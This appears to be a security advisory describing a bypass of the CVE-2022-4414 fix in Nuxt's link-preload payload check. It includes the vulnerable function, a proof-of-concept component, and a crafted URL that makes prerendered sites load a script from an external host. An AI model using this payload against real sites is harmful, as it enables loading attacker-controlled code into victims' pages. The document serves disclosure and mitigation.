Description

Link preloads still do not effectively confirm if the requested link is external. This is a bypass to the fix for CVE-2022-4414.

Root Cause

The _getPayloadURL function was adapted after the disclosure to use the browsers built in URL parser to properly check for a valid URL. This is a great idea as it reduces the risk of a parser differential.

function _getPayloadURL (url: string, opts: LoadPayloadOptions = {}) {
  const u = new URL(url, 'http://localhost')
  if (u.search) {
    throw new Error('Payload URL cannot contain search params: ' + url)
  }
  if (u.host !== 'localhost') {
    throw new Error('Payload URL cannot contain host: ' + url)
  }
  const hash = opts.hash || (opts.fresh ? Date.now() : '')
  return joinURL(useRuntimeConfig().app.baseURL, u.pathname, hash ? `_payload.${hash}.js` : '_payload.js')
}

After the check is completed the u.pathname value of the newly parsed URL is used.

This pathname value is under our control. We can use the same trick as before to create a URL that satisfies the first condition while still being interpreted differently by the browser.

Exploitation

This vulnerability still only exists on prerendered sites. Same requirements as previous vulnerability.

Proof of concept

<template>
    <div>
        <NuxtLink :to="r.query.u">Your Link Here</NuxtLink>
    </div>
</template>

<script setup lang="ts">

    const r = useRoute() as any;

</script>

Navigate to URL: http://site/?u=//localhost//io.bryces.io

Further Research

A different approach I've seen to this type of problem is to use fetch to get the data and then use Response.url to check the origin is correct. See references.

Impact

This vulnerability only impacts static sites, meaning there is a fairly low likelihood that this vulnerability could occur. However there appear to be future plans to expand this feature to other modes where there this would have far more impact.

Risk can be mitigated using a strict CSP.